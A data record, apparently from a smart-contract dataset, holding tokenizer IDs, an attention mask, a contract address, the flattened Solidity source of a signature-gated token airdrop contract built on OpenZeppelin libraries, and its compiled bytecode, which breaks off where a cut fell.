[ 101, 1014, 2595, 2683, 23352, 2629, 20952, 23632, 2692, 11387, 2546, 2094, 23777, 2683, 18827, 2063, 2581, 21472, 28311, 22407, 29097, 9818, 2620, 2683, 2094, 2581, 2620, 2094, 17914, 2549, 2278, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 1013, 1013, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 11890, 11387, 1063, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 19204, 2015, 1999, 4598, 1012, 1008, 1013, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 5651, 1996, 3815, 1997, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,780
0x9756AFE5b5FC8bc9157ac1aF2080E61664783D4E
pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./BlackholePrevention.sol"; contract AirdropDistribution is Ownable, BlackholePrevention { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 public dto; event Claim(address user, uint256 time, uint256 amount); mapping(uint256 => mapping(address => bool)) public mappingClaimWithTime; mapping(address => bool) public mappingApprover; mapping(address => uint256) public totalDTO; mapping(address => uint256) public totalTime; mapping(uint256 => uint256) public mappingStartBlock; mapping(uint256 => uint256) public mappingEndBlock; constructor() { dto = IERC20(0xB57420FaD6731B004309D5a0ec7C6C906Adb8df7); mappingApprover[0x35131E6E8321Ad2eBE666baC18CB113682023be6] = true; mappingStartBlock[1] = block.number; mappingEndBlock[1] = block.number + 206000; } function addApprover(address _approver, bool _val) public onlyOwner { mappingApprover[_approver] = _val; } function verifySignature( bytes32 r, bytes32 s, uint8 v, bytes32 signedData ) internal view returns (bool) { address signer = ecrecover( keccak256( abi.encodePacked("\x19Ethereum Signed Message:\n32", signedData) ), v, r, s ); return mappingApprover[signer]; } function updateDTOContract(address token) public onlyOwner { dto = IERC20(token); } function claim( uint256 time, uint256 amount, bytes32 r, bytes32 s, uint8 v ) public { require(time > 0); require( block.number >= mappingStartBlock[time], "Claim time still not start" ); require(block.number <= mappingEndBlock[time], "Claim time is end"); bytes32 message = keccak256(abi.encode(msg.sender, time, amount)); require(verifySignature(r, s, v, message), "Signature invalid"); require(!mappingClaimWithTime[time][msg.sender], "Cannot claim again"); mappingClaimWithTime[time][msg.sender] = true; dto.safeTransfer(msg.sender, amount); totalDTO[msg.sender] = totalDTO[msg.sender].add(amount); totalTime[msg.sender] = totalTime[msg.sender].add(1); emit Claim(msg.sender, time, amount); } function setStartBlock(uint256 time, uint256 startBlock) public onlyOwner { mappingStartBlock[time] = startBlock; } function setEndBlock(uint256 time, uint256 endBlock) public onlyOwner { mappingEndBlock[time] = endBlock; } function withdrawEther(address payable receiver, uint256 amount) external virtual onlyOwner { _withdrawEther(receiver, amount); } function withdrawERC20( address payable receiver, address tokenAddress, uint256 amount ) public virtual onlyOwner { _withdrawERC20(receiver, tokenAddress, amount); } function withdrawERC721( address payable receiver, address tokenAddress, uint256 tokenId ) external virtual onlyOwner { _withdrawERC721(receiver, tokenAddress, tokenId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; // for WETH import "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /** * @notice Prevents ETH or Tokens from getting stuck in a contract by allowing * the Owner/DAO to pull them out on behalf of a user * This is only meant to contracts that are not expected to hold tokens, but do handle transferring them. */ contract BlackholePrevention { using Address for address payable; using SafeERC20 for IERC20; event WithdrawStuckEther(address indexed receiver, uint256 amount); event WithdrawStuckERC20(address indexed receiver, address indexed tokenAddress, uint256 amount); event WithdrawStuckERC721(address indexed receiver, address indexed tokenAddress, uint256 indexed tokenId); function _withdrawEther(address payable receiver, uint256 amount) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (address(this).balance >= amount) { receiver.sendValue(amount); emit WithdrawStuckEther(receiver, amount); } } function _withdrawERC20(address payable receiver, address tokenAddress, uint256 amount) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (IERC20(tokenAddress).balanceOf(address(this)) >= amount) { IERC20(tokenAddress).safeTransfer(receiver, amount); emit WithdrawStuckERC20(receiver, tokenAddress, amount); } } function _withdrawERC721(address payable receiver, address tokenAddress, uint256 tokenId) internal virtual { require(receiver != address(0x0), "BHP:E-403"); if (IERC721(tokenAddress).ownerOf(tokenId) == address(this)) { IERC721(tokenAddress).transferFrom(address(this), receiver, tokenId); emit WithdrawStuckERC721(receiver, tokenAddress, tokenId); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80638561591d116100a25780639b15f023116100715780639b15f02314610287578063b3c52b7a1461029a578063d77b1ca2146102ad578063f2fde38b146102cd578063f6bd4195146102e057610116565b80638561591d146102255780638a796bf6146102505780638da5cb5b14610263578063953a26411461027457610116565b80634e93ba48116100e95780634e93ba4814610199578063522f6815146101bc578063536eccbf146101cf578063555bf1a9146101fd578063715018a61461021d57610116565b80631abbeb541461011b5780634025feb21461013057806344004cc1146101435780634d62dbd014610156575b600080fd5b61012e61012936600461112c565b610300565b005b61012e61013e366004611019565b610345565b61012e610151366004611019565b61037f565b610184610164366004611108565b600260209081526000928352604080842090915290825290205460ff1681565b60405190151581526020015b60405180910390f35b6101846101a7366004610fe1565b60036020526000908152604090205460ff1681565b61012e6101ca366004611059565b6103b4565b6101ef6101dd3660046110d8565b60066020526000908152604090205481565b604051908152602001610190565b6101ef61020b366004610fe1565b60046020526000908152604090205481565b61012e6103ec565b600154610238906001600160a01b031681565b6040516001600160a01b039091168152602001610190565b61012e61025e36600461112c565b610422565b6000546001600160a01b0316610238565b61012e610282366004611084565b61045e565b61012e61029536600461114d565b6104b3565b61012e6102a8366004610fe1565b61072e565b6101ef6102bb366004610fe1565b60056020526000908152604090205481565b61012e6102db366004610fe1565b61077a565b6101ef6102ee3660046110d8565b60076020526000908152604090205481565b6000546001600160a01b031633146103335760405162461bcd60e51b815260040161032a90611210565b60405180910390fd5b60009182526007602052604090912055565b6000546001600160a01b0316331461036f5760405162461bcd60e51b815260040161032a90611210565b61037a838383610815565b505050565b6000546001600160a01b031633146103a95760405162461bcd60e51b815260040161032a90611210565b61037a838383610972565b6000546001600160a01b031633146103de5760405162461bcd60e51b815260040161032a90611210565b6103e88282610a7c565b5050565b6000546001600160a01b031633146104165760405162461bcd60e51b815260040161032a90611210565b6104206000610b02565b565b6000546001600160a01b0316331461044c5760405162461bcd60e51b815260040161032a90611210565b60009182526006602052604090912055565b6000546001600160a01b031633146104885760405162461bcd60e51b815260040161032a90611210565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b600085116104c057600080fd5b60008581526006602052604090205443101561051e5760405162461bcd60e51b815260206004820152601a60248201527f436c61696d2074696d65207374696c6c206e6f74207374617274000000000000604482015260640161032a565b6000858152600760205260409020544311156105705760405162461bcd60e51b815260206004820152601160248201527010db185a5b481d1a5b59481a5cc8195b99607a1b604482015260640161032a565b60408051336020820152908101869052606081018590526000906080016040516020818303038152906040528051906020012090506105b184848484610b52565b6105f15760405162461bcd60e51b815260206004820152601160248201527014da59db985d1d5c99481a5b9d985b1a59607a1b604482015260640161032a565b600086815260026020908152604080832033845290915290205460ff16156106505760405162461bcd60e51b815260206004820152601260248201527121b0b73737ba1031b630b4b69030b3b0b4b760711b604482015260640161032a565b6000868152600260209081526040808320338085529252909120805460ff1916600190811790915554610690916001600160a01b03919091169087610c19565b336000908152600460205260409020546106aa9086610c6b565b336000908152600460209081526040808320939093556005905220546106d1906001610c6b565b336000818152600560209081526040918290209390935580519182529181018890529081018690527f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf79060600160405180910390a1505050505050565b6000546001600160a01b031633146107585760405162461bcd60e51b815260040161032a90611210565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107a45760405162461bcd60e51b815260040161032a90611210565b6001600160a01b0381166108095760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161032a565b61081281610b02565b50565b6001600160a01b03831661083b5760405162461bcd60e51b815260040161032a906111ed565b6040516331a9108f60e11b81526004810182905230906001600160a01b03841690636352211e9060240160206040518083038186803b15801561087d57600080fd5b505afa158015610891573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b59190610ffd565b6001600160a01b0316141561037a576040516323b872dd60e01b81523060048201526001600160a01b038481166024830152604482018390528316906323b872dd90606401600060405180830381600087803b15801561091457600080fd5b505af1158015610928573d6000803e3d6000fd5b5050505080826001600160a01b0316846001600160a01b03167ffefe036cac4ee3a4aca074a81cbcc4376e1484693289078dbec149c890101d5b60405160405180910390a4505050565b6001600160a01b0383166109985760405162461bcd60e51b815260040161032a906111ed565b6040516370a0823160e01b815230600482015281906001600160a01b038416906370a082319060240160206040518083038186803b1580156109d957600080fd5b505afa1580156109ed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1191906110f0565b1061037a57610a2a6001600160a01b0383168483610c19565b816001600160a01b0316836001600160a01b03167f6c9d637297625e945b296ff73a71fcfbd0a9e062652b6491a921c4c60194176b83604051610a6f91815260200190565b60405180910390a3505050565b6001600160a01b038216610aa25760405162461bcd60e51b815260040161032a906111ed565b8047106103e857610abc6001600160a01b03831682610c7e565b816001600160a01b03167eddb683bb45cd5d0ad8a200c6fae7152b1c236ee90a4a37db692407f5cc38bd82604051610af691815260200190565b60405180910390a25050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000006020820152603c81018290526000908190600190605c0160408051601f198184030181528282528051602091820120600084529083018083525260ff871690820152606081018890526080810187905260a0016020604051602081039080840390855afa158015610beb573d6000803e3d6000fd5b505060408051601f1901516001600160a01b031660009081526003602052205460ff16979650505050505050565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059